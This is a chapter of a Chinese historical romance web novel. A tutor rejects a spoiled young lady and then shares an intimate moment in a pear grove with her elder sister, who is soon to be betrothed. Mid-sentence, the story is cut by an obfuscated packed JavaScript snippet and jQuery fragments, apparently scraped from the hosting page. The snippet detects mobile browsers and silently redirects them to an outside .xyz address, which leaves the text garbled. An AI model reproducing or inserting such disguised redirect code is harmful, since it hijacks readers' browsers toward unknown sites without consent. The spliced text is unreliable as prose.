宴席散了,薛雨生知道要回去了。
只是明明很快就可以走到的西排屋,他却第一次觉得无比艰难。
内心里那只兽无时无刻不在啃噬着自己,他已经感觉不到痛了。即便痛死又如何呢,她就要嫁人了,再也不会出现了。
薛雨生在梨林旁停下,想起无数次隔着梨花,望见的那道纤纤袅袅的身影。
今天她也会走这条路。
就最后一次,再看看她罢。
薛雨生对自己说。
只是没成想没等来想见的人,却来了一个不速之客。
宋二娘着实让人厌烦。
也不知她怎地知道自己在这里的,还是一路尾随他而来,总之薛雨生并不想最后这一点美好的时光被她破坏。
于是,他压着内心的情绪,问她有何事。
宋时姿好不容易想了办法摆脱嬷嬷丫头们,只为了跟他说话,却没想到那人一副冷淡的模样,她揉着衣带,想了想,决定还是将她的打算讲给他听。
这人定还不知道她倾心于他,若是知道她连世族郎君都不要,只等着他科举及第,怕是要欢喜疯了的。
只是等她一股脑说完,却发现那人非但没有惊喜,反而变得更加冷淡,一开口更是直接拒绝了她。
“二女郎金枝玉叶,在下不过蓬蒿蒲草,实不敢有半分僭越之想。”
宋时姿脸上白一阵红一阵。长这么大,还没有人敢拒绝她,何况还是个庶民!
当即就拉下脸,小性子就起来了,但到底对面人是他,忍了忍,才没爆发出来,只跺了跺脚,一扭头跑出去了。
薛雨生揉了揉眉心。
二女郎娇纵之名他亦有所耳闻,只今天情绪实在不佳,说不出虚与委蛇之语,算是彻底将她得罪了,也不知会不会惹来麻烦?
但还没想好怎么妥善解决,一抬头,就撞进了一双明湛的清瞳里。
薛雨生愣了愣。
下一瞬竟罕见地慌乱起来。她什么时候来的?方才他与二女郎的对话她听见了吗?她听见多少?
只薛雨生还在迟疑着如何开口,却见树枝微微一晃,那窈窕的身影便拂开枝叶走了过来。
薛雨生手握成拳。
一步,二步,三步……
他听到自己的心随着她走动的步伐而极速跳动起来。
林间仿佛静了片息,周遭的声音一瞬间都消失了。
薛雨生看着她从斑驳光影中娉婷走来,一直走到离他一臂远的地方停下。
“薛夫子。”她脸上并没有其他的表情,只是带着清浅笑意,“二妹胡闹惯了,还望你不要放在心上。”
原来她听到了。
薛雨生望着她,想从她面上找出其他的表情,但是什么也没有,她还是那样从容平静,依旧是娴雅有礼的宋氏大女郎。而他,也只是她的夫子。
似乎从一开始就是这样。
薛雨生感觉那只兽在咆哮,他猛地张开手,又狠狠握紧。他听到自己说:“不要紧的,小孩子玩闹,我不会放在心上。”
这时他发现她的表情有一丝丝变化,似乎带着疑惑,不过很快便是释然的笑意:“二妹心性的确如稚子一般。”
她又说:“今天我看到你的诗了,的确是一篇佳作,恭喜。”
她的眼神中全然是对他诗作的欣赏和祝贺,薛雨生却不想在这时谈论这些,他勉强扯了扯嘴角,露出一抹笑意:“拙作粗疏,承蒙大家青眼,愧不敢当。大女郎若想学作诗,我也可在竹苑时增加这一方面的内容。”
她忽而沉默下来,好像在思索什么,顿了片息才开口:“我想今后可能就不会去竹苑念书了。”
“为何?”他一瞬间错愕,下意识开口问。
“我就要定亲了。”她说,“是不能常出后院的。”
定了亲,就要关起门来绣嫁妆,怎能还同以往一样进出前院,更不可能来竹苑见外男了。
薛雨生虽然知道她即将定亲的事,但真的从她口中说出来,还是觉得脑中嗡的一下有片刻空白,随即浓浓的酸涩从心口涌了出来,顺着血液冲刷奔跃。
他垂下眸,指尖扣进了皮肉里。他听到自己故作平静说:“是吗,那就提前恭喜你。”
然而对面却没有声音。等了好久,才听到她轻轻说:“你有什么想要的?”
薛雨生慢慢抬起眼。不知何时,她面上已收起笑意,只一双清瞳盈盈望着他,如有千言万语。
“你想要引荐人吗,郑夫子就要回来了,如果可以,我能请她帮忙联系她兄长。”
郑夫子的兄长……哦,是郑藉。
薛雨生看着她樱唇张张合合,脑中混沌地想着,她还是这样好,即便知道自己就要定亲不能出门,还想帮他最后一次。
下意识地,他走近了一步,只是还未开口,林道上突然响起一阵脚步声。
有人往这边来了!
他看到面前女子的眼神一瞬间惊慌起来,来不及思考,他揽着她,就势往一旁的梨树后面躲去。
梨树不过一人来粗,薛雨生抱着她,将她整个人都罩在身下,刚刚站好,脚步声就已经逼近。
“在哪呢?”
这声音,薛雨生蹙了蹙眉。
“我明明看到二女郎往这边来的。”似乎是个侍女。
“哼,让我找到她,看她还怎么抵赖。”
窸窸窣窣的声音响起,似乎正往他们藏身的方向而来,薛雨生感到身下女子一阵瑟缩,不由更用力抱紧她,几乎要把她嵌入身体里。
他微微挪过目光,余光已经可以看到下面人一截鲜亮的衣角,眼神里闪过一抹阴沉。
“三郎君,还是回去吧,兴许女郎已经回屋了。”
“是吗?”宋晖应回头,止住了脚步,“该不会是你这小蹄子故意诓我来的吧?”
“哎呀,奴诓谁也不敢诓您啊,您可冤枉奴了,奴的一颗心可是完全在您身上的。”
娇嗔的声音飘到耳边,薛雨生蹙了蹙眉。
好在宋晖应不打算继续寻找,他被这一声绊住了脚,一回头,见婢子又羞又恼,靥生红霞,心思不觉一荡。
于是几步回到林道,伸出手在她脸上一刮:“小浪蹄子,叫得那么浪荡,是不是想爷了……”
窸窸窣窣的声音再度响起,间或夹杂女子的轻呼声,不过片刻,脚步声渐行渐远。
林间阒静无音,风从碧湖上吹拂而来,送来荷花清新的香气。
人已经走远了。
薛雨生仍然抱着她,夏日衣衫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503075|186048||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
单薄,他甚至能感觉女子略低于他的体温,而掌下的身子柔若无骨,正毫无保留地攀附着自己。
就和梦中一样。
薛雨生喉结动了动,目光暗下来。
他垂下眸,从这个角度,看不清她的脸,只能瞧见一片乌发云鬓,她小小的耳朵藏在发里,耳尖晕上一点红,惹人怜爱。
薛雨生的呼吸不觉加深了些。他知道该放开她了,可是手怎么也不听使唤,只想这一刻永远下去,直到地老天荒。
忽然一片叶子落下来,砸到头顶,身下的女子一惊,蓦然动了动,抬起头来。
薛雨生下意识低头望去,一抹温热擦过唇角。
两人同时都愣住了。
刚刚那是……
薛雨生茫然地望着她,四目交接,身下人却再不复之前的从容,她倏然挪开目光,耳尖已然红透,几乎是逃也般离开他的怀抱。
怀中一下子冷了下来,薛雨生来不及开口说一句话,她已经走出梨林,向着来时的方向离去。
林子里再度恢复平静。
薛雨生望着空荡荡的梨树林,抬起手,轻轻覆在唇边。
……真像一场旖旎的梦。
回到西排屋时,天色渐晚,远天被夕阳染得通红,又渐次弥漫着紫,成为一种浓稠而凝滞的色彩。
下人们还未回来,薛雨生并没有直接回屋,而是绕到另一边,走到孙氏的屋前。
门是锁上的,这些日子孙氏已经开始做活了,往往要忙到日落后才归。薛雨生将手中从大厨房领来的饭盒搁在她窗台,而后漫步往回走。
只是围墙门并没有合上,薛雨生推开门,正瞧见青芜从里面出来。
“薛夫子!”他几步走过来,手中拿着空的书箧,“女郎们的功课已经收起了,就搁在你桌上哩。”
薛雨生点点头,青芜望了他一眼。
“怎地?”
“薛夫子,你刚开去了宴席?”青芜眨眨眼。
“去了。”
青芜一下子睁大了眼:“哦,那你有没有遇见女郎们?”语气甚至带着兴奋。
薛雨生不知他为何这般问,也不懂他怎地一下子如此开心,只道:“和郎君们一起,并未见到女郎。”
“哦。”
青芜抿了抿唇,又看他一眼,似乎犹豫着说什么,最终只是让他不要忘记吃饭,才兀自叹息了一声离开。
薛雨生望着他离去的背影,顿了顿,重新阖上门。
回到房内,书桌上果然堆了一沓纸笺,几缕清风从微敞的窗牖里吹进来,将纸笺吹得卷起。
薛雨生坐下来,盯着纸笺看了片刻,从里面抽出一张。
拿到手中,那股熟悉的香味便飘了来。淡淡的,仿若梨花清香。
她的功课一向完成得很棒,这次也不例外。
薛雨生凝眸,从上而下仔仔细细看了一遍,而后将纸笺搁在桌上,又从笔架上取下笔,磨好墨。
若无意外,这便是他最后一次批改她的功课了。
可是这一次,他却迟迟没有下笔。
屋内一点点暗下来,在半明半暗的昏涩中,他忽地将身子往后一倒,靠在椅背上,闭上眼。
一瞬间,另一些细节立刻强势地占据他脑海。